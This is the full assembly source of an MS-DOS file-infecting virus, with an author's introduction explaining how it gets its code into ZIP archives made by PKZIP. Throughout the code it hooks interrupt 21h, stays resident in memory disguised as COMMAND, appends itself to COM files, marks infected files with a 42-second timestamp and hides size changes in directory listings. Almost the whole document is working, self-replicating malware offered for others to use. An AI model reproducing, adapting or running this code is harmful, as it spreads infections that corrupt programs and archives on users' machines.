;Lately I've seen some viruses boasting they could infect archivers. ;(Hi Sepultura, didnt you test chaos-ad ???) ;This is quite simple for ARJ etc. But with PKZIP this is quite different, ;due to the way PKZIP gets the size of the files to be compressed. ;Most archivers look for files via INT 21h/ah=4Eh/4Fh. ;Then the file is opened and compressed, no matter whats in the DTA. ;PKZIP looks up filesizes before opening files and stores them somehow. ;Only the filesize in the DTA will be compressed. That means, if a FastInfector ;, infecting on OpenFile, is active, it will NOT be in the compressed file ! ;(Well, yes, the header changes are compressed, but the main portion appended ;to the host will be lost). ; ;So the Idea is the following : ;-look for files with extension .ZIP being opened for Read/Write access ; (PKUNZIP opens for readonly) ;-if a ZIP-file is opened, set a flag for enabling infect on OpenFile ;-if a ZIP-File is closed, it is assumed compression is over -> clear flag ;-whenever FindFirst/FindNext occurs and flag is set, ; check if file is infectable; if so, ; increase FileSize in DTA (may do some DirStealth if not) ;-whenever a file is opened, check flag ;-if flag is set, infect file the usual way ;-disinfect when its closed (oly the archived files shall be infected) ; ;Care should be taken not to infect files whose size wasnt increased ;(CRC-Errors, corruption of program), or to increase Filesizes of files ;one will not infect later ;(resulting in CRC-Errors) ; ; ;The following code does it, but it is in NO way optimized. ;Some parts are plain bogus, as the whole stuff is experimental. ;It will infect suitable COMs that are compressed with PKZIP to an ;archive with the extension .ZIP, nothing else. ; ;Routines commented in Italian are with friendly permission of Tankard. ; ;And, ehhmmm, there is a problem with INT 21h/ah=4Eh. Some programs hang ;with this routine active, so i commented it out. (Solutions?) ; ; ;------------------Cut here-------------------------------------------- .model tiny .radix 16 .286 .code org 100h jumps len EQU vir_end-start MCB_Flag EQU 00h ; MCB_Owner EQU 01h ; MCB_Size EQU 03h ; MCB_Name EQU 08h ; MCB_Junk EQU 05h ; COMMAND_LENGTH EQU 11 ; EnvPtr EQU 002ch ; start: call Get_Offset Get_Offset: pop si mov cx,0FCFCh mov ah,30h ;get DOS-Version ;-)) int 21h cmp ax,0FADEh je no_install push si add si,offset flag sub si,offset get_offset mov byte ptr cs:[si],'X' ;set flag off pop si ; mov sp,si ;you want a stack ? ; add sp,offset vir_end ; add sp,200h push cs ; pop ds ; MOV BP,SI ; push si SUB BP,Offset Get_Offset; MOV Cx,00ffh ; Lunghezza del virus in memoria CALL Alloca_Memory ; JC qui1 ; se non c'era spazio a disposizione MOV Di,0100h ; Copia addesso il virus in memoria alta MOV Si,BP ; ADD Si,0100h ; MOV Cx,len ; REP MOVSB ; Fine Copia push es mov ax,3521h int 21h ;Get Int 21 Address pop ds mov word ptr ds:[offset Int_21],bx ;Save old Int 21 mov word ptr ds:[offset Int_21+02h],es mov dx,Offset Int_21_Handler mov ah,25h int 21h ;Set Int 21 qui1: pop si no_install: ;restore to host ;rewrite header mov cx,05h push cs pop es add si,offset header1 sub si,offset get_offset mov di,0100h rep movsb ;copy header ds:si->es:di mov di,0100h jmp di mov ax,4C00h int 21h COMMAND_STR DB 'TANxxxxxxx',0 ; ;---------------------------------------------------------------------------- Int_21_Handler: cmp ah,3Dh ;Is open via Handle? je open_handle cmp ah,3Eh je close_handle cmp ah,4Fh ;size is checked beforehand ! je find_file ; cmp ah,4Eh ;findfirst ; je find_file cmp ah,12h je find_file_fcb cmp ah,11h je find_file_fcb cmp ah,30h ;residency check, was DOS-Version je im_here jmp Go_Int_21 ;No, Restore control to Int 21 ;------------------------------------------------------------------------ im_here: cmp cx,0FCFCh jne go_int_21 mov ax,0FADEh iret ;------------------------------------------------------------------------ find_file_fcb: pushf call cs:[int_21] jc fff_error push ax bx cx dx ds es di si bp pushf cmp byte ptr cs:[offset flag],'#' je no_need mov ah,51h int 21h ;get DTA mov es,bx cmp bx,es:[16h] jnz no_need mov bx,dx mov al,[bx] push ax mov ah,2Fh int 21h pop ax inc al jnz standard_fcb extended_fcb: add bx,07h ;extended FCB standard_fcb: mov ax,es:[bx+17h] ;get time and ax,0000000000011111b ;unmask seconds xor ax,0000000000010101b ;is 42 s ? jnz no_need sub es:[bx+1Dh],len ; sbb es:[bx+1Fh],00h no_need: popf pop bp si di es ds dx cx bx ax fff_error: retf 2 ;------------------------------------------------------------------------- find_file: pushf call cs:[int_21] jc find_error push ax bx cx dx ds es di si bp pushf mov ah,2Fh ;get DTA int 21h ;es:bx->dta cmp byte ptr cs:[offset flag],'#' jne dir_stealth ; mov cx,word ptr es:[bx+16h] ;get filetime and cx,0000000000010101b cmp cx,0000000000010101b ;is 42s ? je is_infected cmp word ptr es:[bx+1Ah],0EFFFh ;size, shouldnt be too big ja is_infected push bx pop di add di,1Eh cld mov cx,0Ah mov ax,'C.' ;search filename for extension .COM find_com_loop: ;dec di scasw ;es:di=ax ? je loc_01 dec di dec cx jnz find_com_loop jmp is_infected loc_01: mov ax,'MO' scasw jne is_infected ; is *.COM of right size and time other than 42 sec, prepare for infection ! mov cx,word ptr es:[bx+16h] and cx,1111111111100000b ;clear seconds xor cx,0000000000010101b ;set 42 seconds (my marker) mov word ptr es:[bx+16h],cx ;set time add es:[bx+1Ah],len ;now add virus_size jmp is_infected dir_stealth: mov ax,word ptr es:[bx+16h] and ax,0000000000010101b cmp ax,0000000000010101b jne is_infected sub es:[bx+1Ah],len ; sbb es:[bx+1Ah],00h is_infected: no_com: popf pop bp si di es ds dx cx bx ax find_error: retf 2 ;------------------------------------------------------------------------ open_handle: cmp byte ptr cs:[offset flag],'#' ;is a file .ZIP open ? je infect push ax bx cx dx ds es di bp si push ax push ds pop es push dx pop di mov al,'.' cld repne scasb ;al=es:di? push es pop ds push di pop si lodsw ;ds:si->al cmp ax,'IZ' jne no_zip lodsb ;ds:si->al cmp al,'P' jne no_zip jmp set_flag ;if file of extension .ZIP is opened, set flag no_zip: pop ax pop si bp di es ds dx cx bx ax jmp go_int_21 infect: ;flag is set pushf call cs:[int_21] ;open requested file jc quit push ax bx cx dx ds es di bp si xor bx,bx mov bx,ax ;handle in bx push bx mov ax,1220h int 2Fh jc quit_sft mov ax,1216h mov bl,es:[di] int 2Fh ;get es:di -> sft jc quit_sft mov word ptr cs:[offset sft_off],di mov word ptr cs:[offset sft_seg],es pop bx mov es:[di+02h],byte ptr 02h ;set open_mode r/w cmp word ptr es:[di+28h],'OC' ;is *.COM ? jne quit cmp byte ptr es:[di+2Ah],'M' ;is really *.COM ? jne quit mov cx,word ptr es:[di+0D] ;get time and cx,0000000000010101b cmp cx,0000000000010101b ;check if infected je quit mov ax,4200h cwd xor cx,cx int 21h ;go start of file jc quit mov ah,3Fh mov cx,05h mov dx,offset header1 push cs pop ds int 21h ;read header to buffer jc quit mov cx,05h push cs pop es mov si,offset header1 mov di,offset header2 rep movsb ;copy header cmp word ptr cs:[offset header1+03h],'##' ; yet another infection marker ;-)) je quit ;already infected mov ax,4202h cwd xor cx,cx int 21h ;go eof jc quit mov f_seg,dx mov f_off,ax ;save eof for JMP cmp ax,0EFFFh ;if file is too big ja quit mov ah,40h mov cx,len mov dx,0100h int 21h ;append to host jc quit mov ax,4200h cwd xor cx,cx int 21h ;go sof jc quit mov byte ptr cs:[header2],0E9h ;form jmp sub f_off,03h mov ax,f_off mov word ptr cs:[header2+01h],ax mov word ptr cs:[header2+03h],'##' ;infectmarker mov ah,40h mov cx,05h mov dx,offset header2 int 21h ;write header to sof from ds:dx jc quit mov ax,4200h cwd xor cx,cx int 21h ;go sof jc quit mov ax,5700h ;get date&time int 21h ;dont want to change it mov word ptr cs:[offset f_time],cx ;save time mov word ptr cs:[offset f_date],dx ;save date mov byte ptr cs:[offset marker],'I' quit: pop si bp di es ds dx cx bx ax exit_infect: iret ;--------------------------------------------------------------- disinfect: ;is not zip and no flag pushf call cs:[int_21] ;perform original open retf 2 ;one could provide stealth capabilities here ;------------------------------------------------------------------------ set_flag: pop ax cmp al,00100010b ;is read/write access ? je zip_rw cmp al,00100000b ;is read/only acces ? je zip_ro jne no_flag zip_rw: mov byte ptr cs:[offset flag],'#' jmp short no_flag zip_ro: mov byte ptr cs:[offset flag],'@' jmp short no_flag no_flag: pop si bp di es ds dx cx bx ax jmp go_int_21 ;------------------------------------------------------------------------ close_handle: ;is *.zip closed ? if yes clear flag ;is no zip and flag is on -> disinfect push ax bx cx dx ds es di bp si mov ax,1220h push bx int 2Fh jc quit_sft mov ax,1216h mov bl,es:[di] int 2Fh ;get sft -> es:di jc quit_sft cmp byte ptr es:[di+28h],'Z' jne not_zip cmp word ptr es:[di+29h],'PI' jne not_zip clear_flag: mov byte ptr cs:[offset flag],'X' jmp quit_sft not_zip: ;is zip-r/w-access (flag='#') -> disinfect ;is zip-r/o-access (flag='@') -> no disinfect cmp byte ptr cs:[offset flag],'#' jne try_slow_infect call disinfect_handle jmp quit_sft try_slow_infect: ;all this is plain stupid ! mov al,byte ptr es:[di+02h] and al,00000011b ;last two bits are (w/o or r/w) cmp al,00h je quit_sft quit_sft: mov byte ptr cs:[offset marker],'N'; .ZIP is closed, so clear flag pop bx pop si bp di es ds dx cx bx ax jmp go_int_21 ;------------------------------------------------------------------------ disinfect_handle: push ax bx cx dx ds es di bp si xchg ax,bx cmp byte ptr cs:[offset marker],'I' jne quit_d push bx mov ax,1220h int 2Fh mov ax,1216h mov bl,es:[di] int 2Fh ;get es:di -> sft mov word ptr cs:[offset sft_off],di mov word ptr cs:[offset sft_seg],es pop bx cmp word ptr es:[di+28h],'OC' ;is *.COM ? jne quit_d cmp byte ptr es:[di+2Ah],'M' ;is really *.COM ? jne quit_d mov es:[di+02h],byte ptr 02h ;set open_mode r/w mov ax,4200h xor dx,dx xor cx,cx int 21h ;go sof jc quit_d mov ah,3Fh mov cx,05h mov dx,offset header2 push cs pop ds int 21h ;read header jc quit_d cmp word ptr cs:[header2+03h],'##' ;check infectmarker jne quit_d mov dx,word ptr cs:[offset header2+01h] ;read jmp-adress push dx ;save add dx,offset header1 sub dx,0FDh ; = -0100h +03h xor cx,cx mov ax,4200h int 21h ;set filepointer to original header jc quit_d mov ah,3Fh mov cx,05h mov dx,offset header2 push cs pop ds int 21h ;read original header from virusbody jc quit_d mov ax,4200h xor cx,cx xor dx,dx int 21h ;filepointer to start mov ah,40h mov cx,05h push cs pop ds mov dx,offset header2 int 21h ;write header to sof from ds:dx jc quit_d mov ax,4200h pop dx ;saved jmp add dx,03h xor cx,cx int 21h ;move filepointer there mov ah,40h xor cx,cx int 21h ;truncate file at old JMP mov ax,4200h xor cx,cx xor dx,dx int 21h mov ax,5701h mov cx,word ptr cs:[offset f_time] ;set date&time mov dx,word ptr cs:[offset f_date] int 21h quit_d: pop si bp di es ds dx cx bx ax ret ;this is with friendly permission of TANKARD (thanx dude) Alloca_Memory PROC NEAR MOV Ah,4Ah ; MOV Bx,0FFFFh ; richiedi il numero di blocchi INT 21h ; del programma ospite SUB Bx,Cx ; JB _lab1 ; MOV Ah,4Ah ; modifica il numero di blocchi INT 21h ; attuali per liberare spazio ; per allocare il virus MOV Ah,48h ; DEC Cx ; alloca lo spazio per con- MOV Bx,Cx ; tenere il virus INT 21h ; JC _lab1 ; DEC Ax ; MOV ES,Ax ; INC Ax ; fallo stare residente come MOV ES:[MCB_Owner],Ax ; un prg TSR MOV Dx,Ax ; MOV Ah,26h ; INT 21h ; crea nuovo PSP per il blocco ; di memoria MOV Di,MCB_Junk ; LEA Si,COMMAND_STR ; - 06h ; ADD Si,BP ; copy nel Memory Control Block MOV Cx,COMMAND_LENGTH ; la stringa "COMMAND" PUSH CS ; POP DS ; REP MOVSB ; MOV Ax,ES ; INC Ax ; MOV ES,Ax ; CLC ; RET ; _lab1 : STC ; RET ; Alloca_Memory ENDP Go_Int_21: db 0EAh ;Go On With Int 21 Int_21 dd ? flag db 00h header1 db 0CDh, 20h, 00h, 00h, 00h, 00h ;this is just for this very COM-File header2 db 05h dup (?) ; it means INT 20h f_time dw ? f_date dw ? sft_off dw ? sft_seg dw ? f_off dw ? f_seg dw ? marker db ? vir_name db '??' ;Never named one! vir_end: end start